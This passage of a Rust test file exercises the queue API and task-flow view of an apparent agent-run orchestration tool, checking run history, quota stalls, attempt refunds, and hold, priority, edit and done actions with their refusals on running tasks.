10212 assert_eq!(res.status, 404, "{}", res.body);
10213 }
10214
10215 #[tokio::test]
10219 async fn task_detail_lists_every_run_with_what_kind_of_attempt_it_was() {
10220 let f = Fixture::start().await;
10221 let (a, b, gone) = (
10222 "20260902-140501-aaaa",
10223 "20260902-140502-bbbb",
10224 "20260902-140503-cccc",
10225 );
10226 write_run(&f.runs(), a, RunStatus::Stalled);
10227 let mut review = RunState::new(
10228 PathBuf::from("/repo/magi"),
10229 "main".to_owned(),
10230 "0123456789abcdef".to_owned(),
10231 "Review the work already on branch `magi/aaaa/A`. There is no task statement."
10232 .to_owned(),
10233 Config::default(),
10234 );
10235 review.id = b.to_owned();
10236 review.status = RunStatus::Merged;
10237 write_state(&f.runs(), &review);
10238
10239 let mut task = Task::new(
10240 "retry".to_owned(),
10241 "Do the thing".to_owned(),
10242 PathBuf::from("/repo/magi"),
10243 Source::Human,
10244 );
10245 task.start(a.to_owned());
10246 task.stall("quota");
10247 task.start(a.to_owned());
10248 task.start(b.to_owned());
10249 task.start(gone.to_owned());
10250 f.queue().put(&mut task).expect("file the task");
10251
10252 let res = f.get(&format!("/api/queue/{}", task.id)).await;
10253 assert_eq!(res.status, 200, "{}", res.body);
10254 let v = res.json();
10255 let h = v["history"].as_array().expect("history");
10256 assert_eq!(h.len(), 4, "{v}");
10257 assert_eq!(h[0]["kind"], "competition");
10258 assert_eq!(h[0]["status"], "stalled");
10259 assert_eq!(h[0]["provisional"], true, "a stall is never a decision");
10260 assert_eq!(h[1]["kind"], "resume", "{v}");
10261 assert!(
10262 h[0]["outcome"]
10263 .as_str()
10264 .unwrap()
10265 .contains("unknown. Pass #2"),
10266 "an earlier pass of a resumed run must not claim the final outcome: {v}"
10267 );
10268 assert!(
10269 !h[1]["outcome"].as_str().unwrap().contains("unknown."),
10270 "{v}"
10271 );
10272 assert!(
10273 !h[0]["outcome"].as_str().unwrap().contains("parked it"),
10274 "an unrecorded cause must not be narrated as an operator park: {v}"
10275 );
10276 assert_eq!(h[2]["kind"], "review");
10277 assert!(
10278 h[2]["description"]
10279 .as_str()
10280 .unwrap()
10281 .contains("magi/aaaa/A")
10282 );
10283 assert_eq!(h[2]["status"], "merged");
10284 assert_eq!(h[3]["readable"], false, "an unreadable run is shown");
10285 assert_eq!(v["runs_unreadable"], 1);
10286 let nodes = v["flow"]["nodes"].as_array().expect("flow nodes");
10287 assert_eq!(nodes.len(), 6, "start + four passes + end: {v}");
10288 assert_eq!(nodes[4]["note"], "unreadable");
10289 assert_eq!(v["flow"]["edges"].as_array().unwrap().len(), 5);
10290 assert_eq!(v["instruction"], "Do the thing");
10291 assert!(v["attempts_note"].as_str().unwrap().contains("handed back"));
10292
10293 let run = f.get(&format!("/api/runs/{a}")).await.json();
10295 assert_eq!(run["task"]["id"], task.id.as_str(), "{run}");
10296
10297 assert_eq!(f.get("/api/queue/nosuchtask").await.status, 404);
10298 }
10299
10300 fn flow_run(status: RunStatus, edit: impl FnOnce(&mut RunState)) -> RunState {
10301 let mut s = RunState::new(
10302 PathBuf::from("/repo/magi"),
10303 "main".to_owned(),
10304 "0123456789abcdef".to_owned(),
10305 "Do it".to_owned(),
10306 Config::default(),
10307 );
10308 s.status = status;
10309 edit(&mut s);
10310 s
10311 }
10312
10313 fn flow_task(runs: &[&str]) -> Task {
10314 let mut t = Task::new(
10315 "t".to_owned(),
10316 "Do it".to_owned(),
10317 PathBuf::from("/repo/magi"),
10318 Source::Human,
10319 );
10320 for r in runs {
10321 t.start((*r).to_owned());
10322 }
10323 t
10324 }
10325
10326 fn flow_for(task: &Task, states: &[(&str, Option<RunState>)]) -> FlowView {
10327 let h = task_history(task, |id| {
10328 states
10329 .iter()
10330 .find(|(i, _)| *i == id)
10331 .and_then(|(_, s)| s.clone())
10332 });
10333 task_flow(task, &h, 5, None)
10334 }
10335
10336 fn fu(origin_task: Option<&str>) -> crate::queue::FollowUp {
10337 crate::queue::FollowUp {
10338 run: "20260901-000000-aaaa".to_owned(),
10339 origin_task: origin_task.map(str::to_owned),
10340 pr: "https://example.com/o/r/pull/1".to_owned(),
10341 findings: ["R3-1-1", "R3-1-2", "R3-1-3", "R3-1-4"]
10342 .map(str::to_owned)
10343 .to_vec(),
10344 generation: 1,
10345 }
10346 }
10347
10348 fn parent_task() -> Task {
10349 let mut p = flow_task(&[]);
10350 p.title = "Parent title".to_owned();
10351 p.status = TaskStatus::Done;
10352 p
10353 }
10354
10355 #[test]
10356 fn flow_opens_with_the_parent_task_of_a_followup() {
10357 let p = parent_task();
10358 let pid = p.id.clone();
10359 let o = followup_origin(&fu(Some(&pid)), |i| (i == pid).then(|| p.clone()), |_| None);
10360 let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
10361 let n = &f.nodes[0];
10362 assert_eq!((n.kind, n.key.as_str()), ("followup", "origin"));
10363 assert_eq!(
10364 n.label,
10365 format!("Follow-up of {}", crate::queue::short(&pid))
10366 );
10367 assert_eq!(n.detail.as_deref(), Some("Parent title"));
10368 assert_eq!(n.status, Some("done"));
10369 assert_eq!(n.status_of, "task");
10370 assert_eq!(n.href.as_deref(), Some(format!("#/tasks/{pid}").as_str()));
10371 assert_eq!(f.nodes[1].key, "start");
10372 assert_eq!(f.edges[0].from, "origin");
10373 assert_eq!(
10374 f.edges[0].label,
10375 "open findings R3-1-1, R3-1-2, R3-1-3 +1 more"
10376 );
10377 }
10378
10379 #[test]
10380 fn flow_falls_back_to_the_merged_run_when_the_parent_is_gone() {
10381 let o = followup_origin(
10382 &fu(Some("gone")),
10383 |_| None,
10384 |_| {
10385 Some(RunState::new(
10386 std::path::PathBuf::from("."),
10387 "main".to_owned(),
10388 "0".to_owned(),
10389 "t".to_owned(),
10390 crate::config::Config::default(),
10391 ))
10392 },
10393 );
10394 assert!(o.parent.is_none());
10395 let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
10396 let n = &f.nodes[0];
10397 assert_eq!(n.status_of, "run");
10398 assert_eq!(n.href.as_deref(), Some("#/runs/20260901-000000-aaaa"));
10399 assert!(n.label.starts_with("Follow-up of run "), "{}", n.label);
10400 }
10401
10402 #[test]
10403 fn flow_followup_with_nothing_readable_has_no_link() {
10404 let o = followup_origin(&fu(None), |_| panic!("no parent id to look up"), |_| None);
10405 let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
10406 let n = &f.nodes[0];
10407 assert_eq!(n.href, None);
10408 assert_eq!(n.note, Some("unreadable"));
10409 assert!(!n.readable);
10410 }
10411
10412 #[test]
10413 fn flow_keeps_the_chat_first_only_when_the_source_is_a_chat() {
10414 let o = followup_origin(&fu(None), |_| None, |_| None);
10415 let mut t = flow_task(&[]);
10416 t.origin_chat = Some("c1".to_owned());
10417 let f = task_flow(&t, &[], 5, Some(&o));
10418 assert_eq!(f.nodes[0].kind, "followup", "inherited chat adds no node");
10419 t.source = Source::Agent {
10420 run: "c1".to_owned(),
10421 node: crate::queue::CHAT_NODE.to_owned(),
10422 };
10423 let f = task_flow(&t, &[], 5, Some(&o));
10424 assert_eq!((f.nodes[0].kind, f.nodes[1].kind), ("chat", "followup"));
10425 assert_eq!(
10426 (f.edges[0].from.as_str(), f.edges[0].to.as_str()),
10427 ("chat", "origin")
10428 );
10429 }
10430
10431 #[test]
10432 fn followup_origin_encodes_ids_and_survives_a_self_reference() {
10433 let mut p = parent_task();
10434 p.id = "a b/c".to_owned();
10435 let o = followup_origin(&fu(Some("a b/c")), |_| Some(p.clone()), |_| None);
10436 assert_eq!(o.parent.expect("parent").href, "#/tasks/a%20b%2Fc");
10437 }
10438
10439 #[test]
10440 fn flow_opens_with_the_chat_that_queued_the_task() {
10441 let mut t = flow_task(&[]);
10442 t.source = Source::Agent {
10443 run: "a b/c".to_owned(),
10444 node: crate::queue::CHAT_NODE.to_owned(),
10445 };
10446 let f = flow_for(&t, &[]);
10447 assert_eq!(f.nodes[0].key, "chat");
10448 assert_eq!(f.nodes[0].kind, "chat");
10449 assert_eq!(
10450 f.nodes[0].label,
10451 format!("Chat {}", crate::queue::short("a b/c"))
10452 );
10453 assert_eq!(f.nodes[0].href.as_deref(), Some("#/chat/a%20b%2Fc"));
10454 assert_eq!(f.nodes[1].key, "start");
10455 assert_eq!(
10456 f.edges[0],
10457 FlowEdge {
10458 from: "chat".to_owned(),
10459 to: "start".to_owned(),
10460 label: "queued from chat".to_owned(),
10461 attempt: AttemptCost::None,
10462 }
10463 );
10464 }
10465
10466 #[test]
10467 fn flow_has_no_chat_box_for_other_sources() {
10468 for source in [
10469 Source::Human,
10470 Source::Issue {
10471 number: 3,
10472 repo: "o/r".to_owned(),
10473 },
10474 Source::Agent {
10475 run: "20260904-014455-ab12".to_owned(),
10476 node: "implement".to_owned(),
10477 },
10478 ] {
10479 let mut t = flow_task(&[]);
10480 t.source = source;
10481 let f = flow_for(&t, &[]);
10482 assert_eq!(f.nodes[0].key, "start");
10483 assert!(f.nodes.iter().all(|n| n.kind != "chat"));
10484 assert!(f.edges.iter().all(|e| e.from != "chat"));
10485 }
10486 }
10487
10488 const FA: &str = "20260902-140501-aaaa";
10489 const FB: &str = "20260902-140502-bbbb";
10490
10491 #[test]
10492 fn flow_follows_blocked_retry_merged_to_done() {
10493 let mut t = flow_task(&[FA, FB]);
10494 t.status = TaskStatus::Done;
10495 let f = flow_for(
10496 &t,
10497 &[
10498 (FA, Some(flow_run(RunStatus::Blocked, |_| {}))),
10499 (FB, Some(flow_run(RunStatus::Merged, |_| {}))),
10500 ],
10501 );
10502 let keys: Vec<_> = f.nodes.iter().map(|n| n.key.as_str()).collect();
10503 assert_eq!(keys, ["start", "run-1", "run-2", "end"]);
10504 assert_eq!(f.edges.len(), 3);
10505 assert_eq!(f.edges[0].label, "claimed");
10506 assert_eq!(f.edges[1].label, "blocked, attempt spent \u{2192} retry");
10507 assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
10508 assert_eq!(f.edges[2].label, "merged \u{2192} done");
10509 assert_eq!(
10510 f.nodes[2].href.as_deref(),
10511 Some("#/runs/20260902-140502-bbbb")
10512 );
10513 assert!(f.nodes[2].decided);
10514 }
10515
10516 #[test]
10517 fn flow_quota_stall_is_refunded_and_never_decided_then_resumes() {
10518 let quota = || {
10519 flow_run(RunStatus::Stalled, |s| {
10520 s.quota.push(crate::run::QuotaLoss {
10521 seat: "judge-1".to_owned(),
10522 node: "judge".to_owned(),
10523 at: Timestamp::now(),
10524 reset: None,
10525 })
10526 })
10527 };
10528 let mut t = flow_task(&[FA, FA]);
10529 t.status = TaskStatus::Queued;
10530 let f = flow_for(&t, &[(FA, Some(quota()))]);
10531 assert_eq!(f.nodes.len(), 4, "a repeated id is one node per pass");
10532 assert_eq!(f.nodes[1].note, Some("interrupted"));
10533 assert_eq!(
10534 f.nodes[1].status, None,
10535 "no outcome copied onto an earlier pass"
10536 );
10537 assert_eq!(
10538 f.edges[1].attempt,
10539 AttemptCost::Unknown,
10540 "a resume does not prove the earlier pass was refunded"
10541 );
10542 assert!(f.edges[1].label.contains("resume the same run"));
10543 assert_eq!(f.edges[2].attempt, AttemptCost::Unknown);
10544 assert_eq!(
10545 f.edges[2].label,
10546 "stalled after a resume, refund unknown \u{2192} queued"
10547 );
10548 assert!(!f.nodes[2].decided, "a stall is not a decision");
10549 assert_eq!(f.nodes[2].note, Some("no verdict"));
10550 }
10551
10552 #[test]
10553 fn flow_single_pass_quota_stall_is_refunded() {
10554 let t = flow_task(&[FA]);
10555 let f = flow_for(
10556 &t,
10557 &[(
10558 FA,
10559 Some(flow_run(RunStatus::Stalled, |s| {
10560 s.quota.push(crate::run::QuotaLoss {
10561 seat: "judge-1".to_owned(),
10562 node: "judge".to_owned(),
10563 at: Timestamp::now(),
10564 reset: None,
10565 })
10566 })),
10567 )],
10568 );
10569 assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
10570 }
10571
10572 #[test]
10573 fn flow_parked_refunds_and_stall_without_quota_spends() {
10574 let mut t = flow_task(&[FA]);
10575 t.status = TaskStatus::Queued;
10576 let f = flow_for(
10577 &t,
10578 &[(
10579 FA,
10580 Some(flow_run(RunStatus::Implementing, |s| s.parked = true)),
10581 )],
10582 );
10583 assert_eq!(f.edges[1].label, "parked, attempt refunded \u{2192} queued");
10584 assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
10585 let f = flow_for(&t, &[(FA, Some(flow_run(RunStatus::Stalled, |_| {})))]);
10586 assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
10587 assert!(!f.nodes[1].decided);
10588 }
10589
10590 #[test]
10591 fn flow_keeps_an_unreadable_run_as_its_own_node() {
10592 let t = flow_task(&[FA, FB]);
10593 let f = flow_for(&t, &[(FB, Some(flow_run(RunStatus::Blocked, |_| {})))]);
10594 assert_eq!(f.nodes[1].note, Some("unreadable"));
10595 assert!(!f.nodes[1].readable);
10596 assert_eq!(f.nodes[1].run_kind, Some("unknown"));
10597 assert_eq!(f.edges[1].attempt, AttemptCost::Unknown);
10598 }
10599
10600 #[test]
10601 fn flow_names_the_branch_of_a_review_only_run() {
10602 let t = flow_task(&[FA]);
10603 let f = flow_for(
10604 &t,
10605 &[(
10606 FA,
10607 Some(flow_run(RunStatus::Merged, |s| {
10608 s.instruction = "Review the work already on branch `magi/x/A`. Go.".to_owned()
10609 })),
10610 )],
10611 );
10612 assert_eq!(f.edges[0].label, "review-only run of branch magi/x/A");
10613 assert_eq!(
10614 f.nodes[1].detail.as_deref(),
10615 Some("review-only run of branch magi/x/A")
10616 );
10617 }
10618
10619 #[test]
10620 fn flow_ends_held_with_the_pr_left_open_and_flags_hand_edits() {
10621 let mut t = flow_task(&[FA]);
10622 t.status = TaskStatus::Held;
10623 let pr = crate::run::PrRecord {
10624 url: "https://example.test/pr/1".to_owned(),
10625 number: 1,
10626 state: "open".to_owned(),
10627 checks: "green".to_owned(),
10628 round: 0,
10629 rounds: 3,
10630 red_at_merge: Vec::new(),
10631 };
10632 let blocked = flow_run(RunStatus::Blocked, |s| s.pr = Some(pr));
10633 let f = flow_for(&t, &[(FA, Some(blocked.clone()))]);
10634 assert_eq!(f.edges[1].label, "blocked, PR left open \u{2192} held");
10635 t.status = TaskStatus::Done;
10636 let f = flow_for(&t, &[(FA, Some(blocked))]);
10637 assert_eq!(f.edges[1].label, "closed by hand: task is done");
10638 }
10639
10640 #[test]
10641 fn flow_with_no_runs_goes_from_queued_to_queued() {
10642 let t = flow_task(&[]);
10643 let f = flow_for(&t, &[]);
10644 assert_eq!(f.nodes.len(), 2);
10645 assert_eq!(f.edges.len(), 1);
10646 assert_eq!(f.edges[0].label, "no run yet \u{2192} queued");
10647 assert_eq!(f.edges[0].attempt, AttemptCost::None);
10648 }
10649
10650 #[test]
10653 fn a_parked_non_terminal_run_is_explained_as_parked() {
10654 let mut s = RunState::new(
10655 PathBuf::from("/repo/magi"),
10656 "main".to_owned(),
10657 "0123456789abcdef".to_owned(),
10658 "Do it".to_owned(),
10659 Config::default(),
10660 );
10661 s.status = RunStatus::Implementing;
10662 s.parked = true;
10663 let task = Task::new(
10664 "t".to_owned(),
10665 "Do it".to_owned(),
10666 PathBuf::from("/repo/magi"),
10667 Source::Human,
10668 );
10669 let v = task_run_view(
10670 "20260902-140501-aaaa",
10671 Some(&s),
10672 RunSlot {
10673 n: 1,
10674 resumed: false,
10675 resumed_later: None,
10676 prior: None,
10677 last: true,
10678 },
10679 &task,
10680 );
10681 assert!(v.outcome.contains("Parked"), "{}", v.outcome);
10682 }
10683
10684 fn earlier_pass_view(edit: impl FnOnce(&mut RunState)) -> TaskRunView {
10685 let mut s = flow_run(RunStatus::Implementing, edit);
10686 s.parked = false;
10687 let task = flow_task(&["20260902-140501-aaaa", "20260902-140501-aaaa"]);
10688 task_run_view(
10689 "20260902-140501-aaaa",
10690 Some(&s),
10691 RunSlot {
10692 n: 1,
10693 resumed: false,
10694 resumed_later: Some(2),
10695 prior: None,
10696 last: false,
10697 },
10698 &task,
10699 )
10700 }
10701
10702 #[test]
10703 fn an_earlier_pass_with_no_recorded_cause_is_unknown_not_parked() {
10704 let v = earlier_pass_view(|_| {});
10705 assert!(v.outcome.contains("not recorded"), "{}", v.outcome);
10706 assert!(v.outcome.contains("unknown"), "{}", v.outcome);
10707 assert!(!v.outcome.contains("parked it"), "{}", v.outcome);
10708 assert!(!v.outcome.contains("handed back."), "{}", v.outcome);
10709 assert_eq!(v.exit, RunExit::Interrupted);
10710 assert_eq!(v.attempt, AttemptCost::Unknown);
10711 }
10712
10713 #[test]
10714 fn an_earlier_pass_with_a_recorded_rate_limit_does_not_claim_it_as_the_cause() {
10715 let v = earlier_pass_view(|s| {
10716 s.quota.push(crate::run::QuotaLoss {
10717 seat: "judge-1".to_owned(),
10718 node: "judge".to_owned(),
10719 at: Timestamp::now(),
10720 reset: None,
10721 });
10722 });
10723 assert!(v.outcome.contains("may or may not"), "{}", v.outcome);
10724 assert!(v.outcome.contains("unknown"), "{}", v.outcome);
10725 assert_eq!(v.attempt, AttemptCost::Unknown);
10726 }
10727
10728 #[test]
10729 fn the_current_pass_states_its_recorded_cause_and_cost() {
10730 let slot = || RunSlot {
10731 n: 1,
10732 resumed: false,
10733 resumed_later: None,
10734 prior: None,
10735 last: true,
10736 };
10737 let task = flow_task(&["20260902-140501-aaaa"]);
10738 let parked = flow_run(RunStatus::Implementing, |s| s.parked = true);
10739 let v = task_run_view("20260902-140501-aaaa", Some(&parked), slot(), &task);
10740 assert_eq!(
10741 (v.exit, v.attempt),
10742 (RunExit::Parked, AttemptCost::Refunded)
10743 );
10744 let spent = flow_run(RunStatus::Blocked, |_| {});
10745 let v = task_run_view("20260902-140501-aaaa", Some(&spent), slot(), &task);
10746 assert_eq!(v.attempt, AttemptCost::Spent);
10747 assert!(v.outcome.contains("spent an attempt"), "{}", v.outcome);
10748 }
10749
10750 #[tokio::test]
10751 async fn holding_then_releasing_returns_a_task_to_the_loop_with_a_fresh_budget() {
10752 let f = Fixture::start().await;
10753 let queue = f.queue();
10754 let mut task = Task::new(
10755 "spent".to_owned(),
10756 "Try again".to_owned(),
10757 PathBuf::from("/repo/magi"),
10758 Source::Human,
10759 );
10760 task.start("20260902-140502-bbbb".to_owned());
10761 task.fail("agent gave up", 9);
10762 queue.put(&mut task).expect("file the task");
10763
10764 let held = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
10765 assert_eq!(held.status, 200);
10766 assert_eq!(held.json()["status_str"], "held");
10767
10768 let released = f
10769 .post(&format!("/api/queue/{}/release", task.id), None)
10770 .await;
10771 assert_eq!(released.status, 200);
10772 assert_eq!(released.json()["status_str"], "queued");
10773 assert_eq!(
10774 released.json()["attempts"],
10775 0,
10776 "release is a real second chance, not an instant re-hold"
10777 );
10778 assert_eq!(
10779 queue.get(&task.id).expect("reload").status,
10780 TaskStatus::Queued,
10781 "the change is on disk, not only in the reply"
10782 );
10783 assert!(
10784 !f.home
10785 .path()
10786 .join("queue")
10787 .join(format!("{}.lock", task.id))
10788 .exists(),
10789 "the claim the mutation took is released again"
10790 );
10791 }
10792
10793 #[tokio::test]
10794 async fn a_task_a_daemon_is_running_cannot_be_changed_from_the_phone() {
10795 let f = Fixture::start().await;
10796 let queue = f.queue();
10797 let mut task = Task::new(
10798 "busy".to_owned(),
10799 "Running right now".to_owned(),
10800 PathBuf::from("/repo/magi"),
10801 Source::Human,
10802 );
10803 queue.put(&mut task).expect("file the task");
10804 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
10805
10806 let res = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
10807
10808 assert_eq!(res.status, 409);
10809 assert_eq!(
10810 queue.get(&task.id).expect("reload").status,
10811 TaskStatus::Queued,
10812 "the refused hold changed nothing"
10813 );
10814 }
10815
10816 #[tokio::test]
10817 async fn holding_with_a_reason_reads_back_from_show_and_the_card_and_release_clears_it() {
10818 let f = Fixture::start().await;
10819 let queue = f.queue();
10820 let mut task = Task::new(
10821 "waiting on the migration".to_owned(),
10822 "Do the thing".to_owned(),
10823 PathBuf::from("/repo/magi"),
10824 Source::Human,
10825 );
10826 queue.put(&mut task).expect("file the task");
10827
10828 let held = f
10829 .post(
10830 &format!("/api/queue/{}/hold", task.id),
10831 Some(r#"{"reason":"waiting for 20260101-000000-aaaa to land"}"#),
10832 )
10833 .await;
10834 assert_eq!(held.status, 200, "{}", held.body);
10835 assert_eq!(held.json()["status_str"], "held");
10836 assert_eq!(
10837 held.json()["hold_reason"],
10838 "waiting for 20260101-000000-aaaa to land"
10839 );
10840
10841 let listed = f.get("/api/queue").await.json();
10842 assert_eq!(
10843 listed[0]["hold_reason"], "waiting for 20260101-000000-aaaa to land",
10844 "the card reads the reason off the same list route"
10845 );
10846
10847 let mut plain = Task::new(
10850 "no reason given".to_owned(),
10851 "Do another thing".to_owned(),
10852 PathBuf::from("/repo/magi"),
10853 Source::Human,
10854 );
10855 queue.put(&mut plain).expect("file the task");
10856 let held_plain = f.post(&format!("/api/queue/{}/hold", plain.id), None).await;
10857 assert_eq!(held_plain.status, 200, "{}", held_plain.body);
10858 assert!(held_plain.json()["hold_reason"].is_null());
10859
10860 let released = f
10861 .post(&format!("/api/queue/{}/release", task.id), None)
10862 .await;
10863 assert_eq!(released.status, 200);
10864 assert!(
10865 released.json()["hold_reason"].is_null(),
10866 "a release must clear the reason so the next hold does not inherit it"
10867 );
10868 }
10869
10870 #[tokio::test]
10871 async fn priority_can_be_raised_from_the_phone_and_moves_the_task_ahead() {
10872 let f = Fixture::start().await;
10873 let queue = f.queue();
10874 let mut older = Task::new(
10875 "filed first".to_owned(),
10876 "x".to_owned(),
10877 PathBuf::from("/repo/magi"),
10878 Source::Human,
10879 );
10880 older.id = "20260101-000001-aaaa".to_owned();
10881 let mut newer = Task::new(
10882 "filed second".to_owned(),
10883 "x".to_owned(),
10884 PathBuf::from("/repo/magi"),
10885 Source::Human,
10886 );
10887 newer.id = "20260101-000002-bbbb".to_owned();
10888 queue.put(&mut older).expect("file older");
10889 queue.put(&mut newer).expect("file newer");
10890
10891 let before = f.get("/api/queue").await.json();
10894 assert_eq!(before[0]["id"], newer.id);
10895 assert_eq!(before[1]["id"], older.id);
10896
10897 let raised = f
10901 .post(
10902 &format!("/api/queue/{}/priority", older.id),
10903 Some(r#"{"priority":10}"#),
10904 )
10905 .await;
10906 assert_eq!(raised.status, 200, "{}", raised.body);
10907 assert_eq!(raised.json()["priority"], 10);
10908
10909 let after = f.get("/api/queue").await.json();
10910 let names: Vec<&str> = after
10911 .as_array()
10912 .unwrap()
10913 .iter()
10914 .map(|t| t["id"].as_str().unwrap())
10915 .collect();
10916 assert_eq!(names[0], older.id, "the raised task now sorts first");
10920 }
10921
10922 #[tokio::test]
10923 async fn priority_is_refused_on_a_running_task_with_a_reason_in_the_body() {
10924 let f = Fixture::start().await;
10925 let queue = f.queue();
10926 let mut task = Task::new(
10927 "in flight".to_owned(),
10928 "x".to_owned(),
10929 PathBuf::from("/repo/magi"),
10930 Source::Human,
10931 );
10932 task.start("20260902-140502-bbbb".to_owned());
10933 queue.put(&mut task).expect("file the task");
10934
10935 let res = f
10936 .post(
10937 &format!("/api/queue/{}/priority", task.id),
10938 Some(r#"{"priority":9}"#),
10939 )
10940 .await;
10941 assert_eq!(res.status, 400, "{}", res.body);
10942 assert!(
10943 res.json()["error"]
10944 .as_str()
10945 .is_some_and(|e| e.contains("running")),
10946 "{}",
10947 res.body
10948 );
10949 assert_eq!(
10950 queue.get(&task.id).expect("reload").priority,
10951 0,
10952 "the refused write must not partially apply"
10953 );
10954 }
10955
10956 #[tokio::test]
10957 async fn editing_replaces_title_and_instruction_and_keeps_id_created_at_source_and_runs() {
10958 let f = Fixture::start().await;
10959 let queue = f.queue();
10960 let mut task = Task::new(
10961 "old title".to_owned(),
10962 "old instruction".to_owned(),
10963 PathBuf::from("/repo/magi"),
10964 Source::Agent {
10965 run: "20260101-000000-beef".to_owned(),
10966 node: "implement".to_owned(),
10967 },
10968 );
10969 task.runs.push("20260101-000000-beef".to_owned());
10970 queue.put(&mut task).expect("file the task");
10971 let created_at = task.created_at;
10972
10973 let edited = f
10974 .post(
10975 &format!("/api/queue/{}/edit", task.id),
10976 Some(r#"{"title":"new title","instruction":"new instruction"}"#),
10977 )
10978 .await;
10979 assert_eq!(edited.status, 200, "{}", edited.body);
10980 let body = edited.json();
10981 assert_eq!(body["title"], "new title");
10982 assert_eq!(body["instruction"], "new instruction");
10983 assert_eq!(body["id"], task.id, "editing must not mint a new id");
10984 assert_eq!(body["created_at"], created_at.to_string());
10985 assert_eq!(
10986 body["source"]["kind"], "agent",
10987 "editing a task an agent filed must not turn it human: {body}"
10988 );
10989 assert_eq!(body["runs"], serde_json::json!(["20260101-000000-beef"]));
10990
10991 let reloaded = queue.get(&task.id).expect("reload");
10992 assert_eq!(reloaded.title, "new title");
10993 assert_eq!(reloaded.instruction, "new instruction");
10994 }
10995
10996 #[tokio::test]
10997 async fn editing_in_a_duplicate_is_a_409_naming_the_match_until_forced() {
10998 let tmp = TempDir::new().expect("tempdir");
11001 let repo = tmp.path().join("repo");
11002 std::fs::create_dir_all(&repo).expect("repo dir");
11003 let judge = MOCK_AGENT_TOML.replace(
11004 "printf ok",
11005 r#"printf '{\"duplicate\":true,\"reason\":\"same branch\"}'"#,
11006 );
11007 std::fs::write(repo.join("magi.toml"), judge).expect("write magi.toml");
11008 let f = Fixture::with_repo(repo.clone()).await;
11009 let queue = f.queue();
11010 let mut owner = Task::new(
11011 "owner".to_owned(),
11012 "review it".to_owned(),
11013 repo.clone(),
11014 Source::Human,
11015 );
11016 owner.review_branch = Some("magi/ab12/A".to_owned());
11017 queue.put(&mut owner).expect("file the owner");
11018 let mut task = Task::new(
11019 "draft".to_owned(),
11020 "old".to_owned(),
11021 repo.clone(),
11022 Source::Human,
11023 );
11024 queue.put(&mut task).expect("file the draft");
11025 let url = format!("/api/queue/{}/edit", task.id);
11026
11027 let refused = f
11028 .post(
11029 &url,
11030 Some(r#"{"title":"t","instruction":"land magi/ab12/A"}"#),
11031 )
11032 .await;
11033 assert_eq!(refused.status, 409, "{}", refused.body);
11034 let msg = refused.json()["error"]
11035 .as_str()
11036 .unwrap_or_default()
11037 .to_owned();
11038 assert!(
11039 msg.contains("magi/ab12/A") && msg.contains("force"),
11040 "{msg}"
11041 );
11042 assert_eq!(queue.get(&task.id).expect("reload").instruction, "old");
11043
11044 let forced = f
11045 .post(
11046 &url,
11047 Some(r#"{"title":"t","instruction":"land magi/ab12/A","force":true}"#),
11048 )
11049 .await;
11050 assert_eq!(forced.status, 200, "{}", forced.body);
11051 }
11052
11053 #[tokio::test]
11054 async fn editing_a_running_task_is_refused_with_a_reason_in_the_response() {
11055 let f = Fixture::start().await;
11056 let queue = f.queue();
11057 let mut task = Task::new(
11058 "in flight".to_owned(),
11059 "do not touch".to_owned(),
11060 PathBuf::from("/repo/magi"),
11061 Source::Human,
11062 );
11063 task.start("20260902-140502-bbbb".to_owned());
11064 queue.put(&mut task).expect("file the task");
11065
11066 let res = f
11067 .post(
11068 &format!("/api/queue/{}/edit", task.id),
11069 Some(r#"{"title":"x","instruction":"y"}"#),
11070 )
11071 .await;
11072 assert_eq!(res.status, 400, "{}", res.body);
11073 assert!(
11074 res.json()["error"]
11075 .as_str()
11076 .is_some_and(|e| e.contains("running")),
11077 "{}",
11078 res.body
11079 );
11080 assert_eq!(
11081 queue.get(&task.id).expect("reload").instruction,
11082 "do not touch",
11083 "the refused edit must not change the file"
11084 );
11085 }
11086
11087 #[tokio::test]
11088 async fn a_claimed_task_refuses_priority_and_edit_the_same_way_it_refuses_hold() {
11089 let f = Fixture::start().await;
11090 let queue = f.queue();
11091 let mut task = Task::new(
11092 "busy".to_owned(),
11093 "Running right now".to_owned(),
11094 PathBuf::from("/repo/magi"),
11095 Source::Human,
11096 );
11097 queue.put(&mut task).expect("file the task");
11098 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
11099
11100 let priority = f
11101 .post(
11102 &format!("/api/queue/{}/priority", task.id),
11103 Some(r#"{"priority":9}"#),
11104 )
11105 .await;
11106 assert_eq!(priority.status, 409, "{}", priority.body);
11107
11108 let edit = f
11109 .post(
11110 &format!("/api/queue/{}/edit", task.id),
11111 Some(r#"{"title":"x","instruction":"y"}"#),
11112 )
11113 .await;
11114 assert_eq!(edit.status, 409, "{}", edit.body);
11115 }
11116
11117 #[tokio::test]
11118 async fn done_from_the_phone_keeps_runs_source_and_created_at_unlike_delete() {
11119 let f = Fixture::start().await;
11120 let queue = f.queue();
11121 let mut task = Task::new(
11122 "shipped by hand".to_owned(),
11123 "merged outside the loop".to_owned(),
11124 PathBuf::from("/repo/magi"),
11125 Source::Agent {
11126 run: "20260101-000000-b455".to_owned(),
11127 node: "implement".to_owned(),
11128 },
11129 );
11130 task.runs.push("20260101-000000-b455".to_owned());
11131 task.runs.push("20260101-000000-9af4".to_owned());
11132 queue.put(&mut task).expect("file the task");
11133 let created_at = task.created_at;
11134
11135 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
11136 assert_eq!(done.status, 200, "{}", done.body);
11137 assert_eq!(done.json()["status_str"], "done");
11138
11139 let reloaded = queue.get(&task.id).expect("a done task is still on disk");
11140 assert_eq!(
11141 reloaded.runs,
11142 ["20260101-000000-b455", "20260101-000000-9af4"]
11143 );
11144 assert_eq!(
11145 reloaded.source,
11146 Source::Agent {
11147 run: "20260101-000000-b455".to_owned(),
11148 node: "implement".to_owned(),
11149 }
11150 );
11151 assert_eq!(reloaded.created_at, created_at);
11152 }
11153
11154 #[tokio::test]
11155 async fn closing_a_held_task_as_done_from_the_phone_clears_its_hold_reason() {
11156 let f = Fixture::start().await;
11161 let queue = f.queue();
